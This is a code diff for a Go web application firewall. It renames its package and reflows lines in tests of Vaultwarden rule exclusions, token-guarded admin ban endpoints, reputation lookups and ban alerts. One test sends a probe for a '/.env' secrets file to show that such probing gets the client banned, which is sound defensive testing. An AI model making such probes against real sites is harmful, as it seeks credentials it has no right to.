vaultwardenSettings,
jsonBody,
`{"invitation_org_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_from_name":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
{
http.MethodPut,
vaultwardenSecurityKey,
jsonBody,
`{"id":1,"name":"VALUE"}`,
},
} }
// vaultwardenAddressFields hold every field of a body that skips 930120, // vaultwardenAddressFields hold every field of a body that skips 930120,
@@ -126,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, "/identity/connect/token", formData, http.MethodPost, "/identity/connect/token", formData,
"grant_type=password&username=VALUE&password=example&scope=api+offline_access", "grant_type=password&username=VALUE&password=example&scope=api+offline_access",
}, },
{ {http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
"/identity/accounts/prelogin/password",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
vaultwardenSignUp,
jsonBody,
`{"email":"VALUE","name":"Alice"}`,
},
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail}, {http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
{ {
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
@@ -151,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
http.MethodPost, vaultwardenPassword, jsonBody, http.MethodPost, vaultwardenPassword, jsonBody,
`{"authenticationData":{"salt":"VALUE"}}`, `{"authenticationData":{"salt":"VALUE"}}`,
}, },
{ {http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"unlockData":{"salt":"VALUE"}}`,
},
{ {
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody, http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`, `{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
}, },
{ {http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
"/api/accounts/password-hint",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/accounts/email-token",
jsonBody,
`{"newEmail":"VALUE"}`,
},
{ {
http.MethodPost, "/api/emergency-access/invite", jsonBody, http.MethodPost, "/api/emergency-access/invite", jsonBody,
`{"email":"VALUE","type":0}`, `{"email":"VALUE","type":0}`,
}, },
{ {http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
http.MethodPut,
vaultwardenOrganization,
jsonBody,
`{"billingEmail":"VALUE"}`,
},
{ {
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody, http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
`{"emails":["alice@example.com","VALUE"],"type":2}`, `{"emails":["alice@example.com","VALUE"],"type":2}`,
}, },
{ {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
vaultwardenSettings, {http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
jsonBody,
`{"smtp_from":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"smtp_username":"VALUE"}`,
},
{
http.MethodPost,
vaultwardenSettings,
jsonBody,
`{"org_creation_users":"VALUE"}`,
},
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail}, {http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
{ {http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
http.MethodPost, {http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
"/api/two-factor/send-email-login",
jsonBody,
vaultwardenEmail,
},
{
http.MethodPost,
"/api/two-factor/send-email",
jsonBody,
vaultwardenEmail,
},
{ {
http.MethodPut, "/api/two-factor/email", jsonBody, http.MethodPut, "/api/two-factor/email", jsonBody,
`{"email":"VALUE","token":"123456"}`, `{"email":"VALUE","token":"123456"}`,
}, },
{ {http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
http.MethodPost,
"/api/auth-requests",
jsonBody,
`{"email":"VALUE","type":0}`,
},
} }
// vaultwardenBreachReport is the data breach report, which sends an address // vaultwardenBreachReport is the data breach report, which sends an address
@@ -351,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
got, _ := inspectBody(t, crs, r, refused.body) got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < vaultwardenThreshold { if got.Score < vaultwardenThreshold {
t.Errorf( t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
"POST %s %s let through: %+v",
refused.target,
refused.body,
got,
)
} }
} }
@@ -392,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
func masterPasswordHashes(count int) []string { func masterPasswordHashes(count int) []string {
const size, seed = 32, 288 const size, seed = 32, 288
//nolint:gosec // a fixed sample random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
hashes := make([]string, count) hashes := make([]string, count)
@@ -441,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body)) t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
} }
if got, _ := inspectBody(t, crs, sent.r, body); len( if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
got.RuleIDs, t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
) != 0 {
t.Errorf(
"POST %s %v set off rules: %+v",
sent.r.target,
sent.names,
got,
)
} }
} }
} }
@@ -458,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
t.Parallel() t.Parallel()
crs := readingBodies(t) crs := readingBodies(t)
encrypted := vaultwardenUpload( encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
)
for _, target := range []string{ for _, target := range []string{
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a", vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY, // The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION. // SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
@@ -26,11 +26,7 @@ type abuseIPDB struct{}
func (abuseIPDB) name() string { return "abuseipdb" } func (abuseIPDB) name() string { return "abuseipdb" }
func (abuseIPDB) check( func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
ctx context.Context,
rq *request,
_ time.Time,
) *verdict {
if rq.h.config.AbuseIPDBKey == "" { if rq.h.config.AbuseIPDBKey == "" {
return nil return nil
} }
@@ -46,13 +42,8 @@ func (abuseIPDB) check(
rq.abuseIPDBHit = true rq.abuseIPDBHit = true
rq.addTag(config.AbuseIPDBTag) rq.addTag(config.AbuseIPDBTag)
rq.noteHit( rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
bans.ReputationHit{ "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
Source: reputation.AbuseIPDBSource,
Score: &score,
},
"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
)
if rq.h.config.ReputationAction != deny { if rq.h.config.ReputationAction != deny {
return nil return nil
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"bytes" "bytes"
@@ -31,8 +31,7 @@ var (
errNotBanToAdd = errors.New( errNotBanToAdd = errors.New(
"the body is not a JSON object of netblock, duration and reason") "the body is not a JSON object of netblock, duration and reason")
errNotNetblock = errors.New( errNotNetblock = errors.New(
"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24", "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
)
errMappedNetblock = errors.New( errMappedNetblock = errors.New(
"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
errZone = errors.New("has a zone, which a netblock cannot have") errZone = errors.New("has a zone, which a netblock cannot have")
@@ -50,7 +49,7 @@ func (rq *request) answerHealth() {
_, _ = io.WriteString(rq.out, "ok\n") _, _ = io.WriteString(rq.out, "ok\n")
} }
// answerAdmin answers a request for one of waf's own endpoints. Each // answerAdmin answers a request for one of discriminator's own endpoints. Each
// needs a token, sent as Authorization: Bearer <token>: the metrics // needs a token, sent as Authorization: Bearer <token>: the metrics
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is // SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
// refused with 401. An endpoint whose token is unset answers 404, as any other // refused with 401. An endpoint whose token is unset answers 404, as any other
@@ -62,18 +61,10 @@ func (rq *request) answerAdmin() {
switch { switch {
case token == "": case token == "":
http.Error( http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
rq.out,
http.StatusText(http.StatusNotFound),
http.StatusNotFound,
)
case !hasToken(rq.in, token): case !hasToken(rq.in, token):
rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.out.Header().Set("WWW-Authenticate", "Bearer")
http.Error( http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
rq.out,
http.StatusText(http.StatusUnauthorized),
http.StatusUnauthorized,
)
default: default:
answer() answer()
} }
@@ -159,9 +150,7 @@ func (rq *request) addBan() {
// readBanToAdd reads the body of POST BansPath: a JSON object with // readBanToAdd reads the body of POST BansPath: a JSON object with
// nothing but whitespace after it, in at most banBodyMaxBytes. // nothing but whitespace after it, in at most banBodyMaxBytes.
func (rq *request) readBanToAdd() (banToAdd, error) { func (rq *request) readBanToAdd() (banToAdd, error) {
data, err := io.ReadAll( data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
)
rq.requestBytes = int64(len(data)) rq.requestBytes = int64(len(data))
if err != nil { if err != nil {
@@ -181,10 +170,7 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
// Token returns io.EOF only when nothing but whitespace is left. // Token returns io.EOF only when nothing but whitespace is left.
_, err = decoder.Token() _, err = decoder.Token()
if !errors.Is(err, io.EOF) { if !errors.Is(err, io.EOF) {
return banToAdd{}, fmt.Errorf( return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
"%w: more follows the object",
errNotBanToAdd,
)
} }
return toAdd, nil return toAdd, nil
@@ -199,11 +185,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
netblock, err := netip.ParsePrefix(value) netblock, err := netip.ParsePrefix(value)
if err == nil { if err == nil {
if netblock.Addr().Is4In6() { if netblock.Addr().Is4In6() {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
"netblock %q %w",
value,
errMappedNetblock,
)
} }
return netblock, nil return netblock, nil
@@ -213,11 +195,7 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
// 2001:db8::1%x/48 as part of the zone. // 2001:db8::1%x/48 as part of the zone.
addr, err := netip.ParseAddr(value) addr, err := netip.ParseAddr(value)
if err != nil { if err != nil {
return netip.Prefix{}, fmt.Errorf( return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
"netblock %q %w",
value,
errNotNetblock,
)
} }
if addr.Zone() != "" { if addr.Zone() != "" {
@@ -236,11 +214,7 @@ func expiry(duration string, now time.Time) (time.Time, error) {
length, err := config.ParseDurationNotOff(duration) length, err := config.ParseDurationNotOff(duration)
if err != nil { if err != nil {
return time.Time{}, fmt.Errorf( return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
"duration %q %w",
duration,
errNotDuration,
)
} }
return now.Add(length), nil return now.Add(length), nil
@@ -259,11 +233,7 @@ func (rq *request) liftBans() {
lifted := rq.h.ledger.Lift(client, rq.h.now()) lifted := rq.h.ledger.Lift(client, rq.h.now())
if len(lifted) == 0 { if len(lifted) == 0 {
http.Error( http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
rq.out,
"no ban is active on "+client.String(),
http.StatusNotFound,
)
return return
} }
@@ -280,7 +250,7 @@ type clientAnswer struct {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
// showClient answers GET ClientsPath<ip> with what waf knows of the client: // showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
// its counters, its history, which holds its country as last looked up and its // its counters, its history, which holds its country as last looked up and its
// offences, and its bans with their notes. // offences, and its bans with their notes.
func (rq *request) showClient() { func (rq *request) showClient() {
@@ -291,9 +261,7 @@ func (rq *request) showClient() {
return return
} }
answer := clientAnswer{ answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
}
client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
if seen { if seen {
@@ -326,11 +294,7 @@ func (rq *request) answerBans(held []bans.Ban) {
func (rq *request) answerJSON(value any) { func (rq *request) answerJSON(value any) {
body, err := json.MarshalIndent(value, "", " ") body, err := json.MarshalIndent(value, "", " ")
if err != nil { if err != nil {
rq.h.processLog.Error( rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
"encoding an answer failed",
"error",
err.Error(),
)
http.Error(rq.out, http.StatusText(http.StatusInternalServerError), http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError) http.StatusInternalServerError)
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"encoding/json" "encoding/json"
@@ -10,10 +10,10 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/state" "sneak.berlin/go/smallwebwaf/internal/state"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -32,37 +32,20 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
t.Parallel() t.Parallel()
// The metrics token is set, and opens none of them. // The metrics token is set, and opens none of them.
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
t, server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
"", bans.Notes{})
map[string]string{metricsToken: token},
)
server.Ledger.BanForLimit(
netip.MustParsePrefix(otherClient+"/32"),
clk.Now(),
bans.Notes{},
)
before := server.Ledger.Snapshot() before := server.Ledger.Snapshot()
// An empty token does not match the unset one either. // An empty token does not match the unset one either.
for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
authorization,
e.method,
e.path,
e.body,
http.StatusNotFound,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
t.Errorf( t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
"the bans are now\n%+v\nwant them unchanged\n%+v",
after,
before,
)
} }
} }
@@ -84,54 +67,32 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
for _, authorization := range []string{ for _, authorization := range []string{
"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
} { } {
got := s.ownEndpointRequest( got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
authorization, http.StatusUnauthorized)
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
if got.header.Get("WWW-Authenticate") != "Bearer" { if got.header.Get("WWW-Authenticate") != "Bearer" {
t.Errorf( t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
"%s %s with %q was answered without WWW-Authenticate: Bearer", e.method, e.path, authorization)
e.method,
e.path,
authorization,
)
} }
} }
if after := server.Ledger.Snapshot(); !reflect.DeepEqual( if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
after, t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
before, e.method, e.path, after, before)
) {
t.Errorf(
"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
e.method,
e.path,
after,
before,
)
} }
got := s.admin(e.method, e.path, e.body, http.StatusOK) got := s.admin(e.method, e.path, e.body, http.StatusOK)
if got.header.Get("Content-Type") != "application/json" { if got.header.Get("Content-Type") != "application/json" {
t.Errorf( t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
"%s %s answered %q",
e.method,
e.path,
got.header.Get("Content-Type"),
)
} }
} }
// Any other request under /_sww/ is not found. // Any other request under /_sww/ is not found.
for _, e := range []adminEndpoint{ for _, e := range []adminEndpoint{
{http.MethodPut, waf.BansPath, banOtherClient}, {http.MethodPut, discriminator.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath, ""}, {http.MethodDelete, discriminator.BansPath, ""},
{http.MethodGet, waf.BansPath + "/" + otherClient, ""}, {http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodPost, waf.ClientsPath + otherClient, ""}, {http.MethodPost, discriminator.ClientsPath + otherClient, ""},
{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""}, {http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
} { } {
s.admin(e.method, e.path, e.body, http.StatusNotFound) s.admin(e.method, e.path, e.body, http.StatusNotFound)
} }
@@ -157,14 +118,10 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
Reason: "probes for logins", Reason: "probes for logins",
} }
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient, wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
http.StatusOK), want) http.StatusOK), want)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.BanExpires != requestlog.FormatTime(expires) { if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
} }
@@ -172,11 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
// Its notes count the request it refused. // Its notes count the request it refused.
want.Notes.Requests, want.Notes.Refused = 1, 1 want.Notes.Requests, want.Notes.Refused = 1, 1
wantBans( wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// Ten minutes on, lifting the bans on client lifts that one, which is // Ten minutes on, lifting the bans on client lifts that one, which is
// kept, marked lifted. // kept, marked lifted.
@@ -185,22 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
lifted := clk.Now() lifted := clk.Now()
want.Lifted = &lifted want.Lifted = &lifted
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
http.StatusOK), want) http.StatusOK), want)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
wantBans( wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
t,
s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
want,
)
// No ban on it is active any more. // No ban on it is active any more.
s.admin( s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
http.MethodDelete,
waf.BansPath+"/"+client,
"",
http.StatusNotFound,
)
} }
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -229,9 +173,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
"\r\n" "\r\n"
want := state.BanEntry{ want := state.BanEntry{
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
tc.want,
), Start: start, Cause: bans.CauseAdmin,
} }
if tc.length != 0 { if tc.length != 0 {
@@ -239,22 +181,15 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
want.Expires = &expires want.Expires = &expires
} }
wantBans( wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
t, want)
s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
want,
)
} }
} }
func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
t,
"",
map[string]string{adminToken: adminSecret},
)
for _, tc := range []struct{ body, want string }{ for _, tc := range []struct{ body, want string }{
{"", "the body is not a JSON object of netblock, duration and reason: EOF"}, {"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -316,15 +251,10 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
"request body too large", "request body too large",
}, },
} { } {
got := s.admin(http.MethodPost, waf.BansPath, tc.body, got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
http.StatusBadRequest) http.StatusBadRequest)
if !strings.Contains(string(got.body), tc.want) { if !strings.Contains(string(got.body), tc.want) {
t.Errorf( t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
"%.80s was answered %q, want it to say %q",
tc.body,
got.body,
tc.want,
)
} }
} }
@@ -346,11 +276,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
// limit of two a minute, and bans it. // limit of two a minute, and bans it.
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
// Asked about by its address in IPv6 form too. // Asked about by its address in IPv6 form too.
for _, addr := range []string{otherClient, "::ffff:" + otherClient} { for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -359,7 +285,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
Bans []state.BanEntry `json:"bans"` Bans []state.BanEntry `json:"bans"`
} }
decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "", decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
http.StatusOK), &got) http.StatusOK), &got)
if got.Client == nil { if got.Client == nil {
@@ -376,27 +302,21 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit || if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
got.Bans[0].Reason != "requests per minute over the limit of 2" || got.Bans[0].Reason != "requests per minute over the limit of 2" ||
got.Bans[0].Notes.Count != 3 { got.Bans[0].Notes.Count != 3 {
t.Errorf( t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
"%s: bans %+v, want the one for the broken limit",
addr,
got.Bans,
)
} }
} }
// Of an address no request came from and no ban covers, nothing is // Of an address no request came from and no ban covers, nothing is
// known. // known.
got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "", got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
http.StatusOK) http.StatusOK)
if string( if string(got.body) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
got.body,
) != "{\n \"client\": null,\n \"bans\": []\n}\n" {
t.Errorf("an unknown client is answered\n%s", got.body) t.Errorf("an unknown client is answered\n%s", got.body)
} }
s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "", s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
http.StatusBadRequest) http.StatusBadRequest)
s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "", s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
http.StatusBadRequest) http.StatusBadRequest)
} }
@@ -409,13 +329,7 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
}) })
for _, e := range adminEndpoints() { for _, e := range adminEndpoints() {
s.ownEndpointRequest( s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
"",
e.method,
e.path,
e.body,
http.StatusUnauthorized,
)
} }
if held := server.Ledger.Snapshot(); len(held) != 0 { if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -433,14 +347,14 @@ type adminEndpoint struct {
// bans on otherClient, and asking about otherClient. // bans on otherClient, and asking about otherClient.
func adminEndpoints() []adminEndpoint { func adminEndpoints() []adminEndpoint {
return []adminEndpoint{ return []adminEndpoint{
{http.MethodGet, waf.BansPath, ""}, {http.MethodGet, discriminator.BansPath, ""},
{http.MethodPost, waf.BansPath, banOtherClient}, {http.MethodPost, discriminator.BansPath, banOtherClient},
{http.MethodDelete, waf.BansPath + "/" + otherClient, ""}, {http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
{http.MethodGet, waf.ClientsPath + otherClient, ""}, {http.MethodGet, discriminator.ClientsPath + otherClient, ""},
} }
} }
// admin sends a request with method for path, with body, to waf's own // admin sends a request with method for path, with body, to discriminator's own
// address, with the admin token, and checks that it is answered with status, its // address, with the admin token, and checks that it is answered with status, its
// log line's action own_endpoint. It returns the answer. // log line's action own_endpoint. It returns the answer.
func (s *sender) admin(method, path, body string, status int) answer { func (s *sender) admin(method, path, body string, status int) answer {
@@ -456,7 +370,7 @@ func (s *sender) ownEndpointRequest(
) answer { ) answer {
s.t.Helper() s.t.Helper()
req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body)) req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
if authorization != "" { if authorization != "" {
req.Header.Set("Authorization", authorization) req.Header.Set("Authorization", authorization)
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,8 +10,8 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -46,10 +46,7 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
}, requestlog.FormatTime(start.Add(time.Hour)))) }, requestlog.FormatTime(start.Add(time.Hour))))
if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" { if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
t.Errorf( t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
"the alert's notes are %+v, want those of the broken limit",
ban.Notes,
)
} }
} }
@@ -65,12 +62,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
// The probe bans the client for seven days, and its next request makes // The probe bans the client for seven days, and its next request makes
// the ban permanent. The request after that changes nothing. // the ban permanent. The request after that changes nothing.
s.request( s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
"/.env",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
attackBan := server.Ledger.Bans(netblock)[0] attackBan := server.Ledger.Bans(netblock)[0]
@@ -91,27 +83,15 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
otherBans := server.Ledger.Bans(other) otherBans := server.Ledger.Bans(other)
wantAlerts( wantAlerts(t, queue,
t,
queue,
attackAlert(alerts.EventBan, start, client, attackBan, attackAlert(alerts.EventBan, start, client, attackBan,
requestlog.FormatTime(start.Add(7*24*time.Hour))), requestlog.FormatTime(start.Add(7*24*time.Hour))),
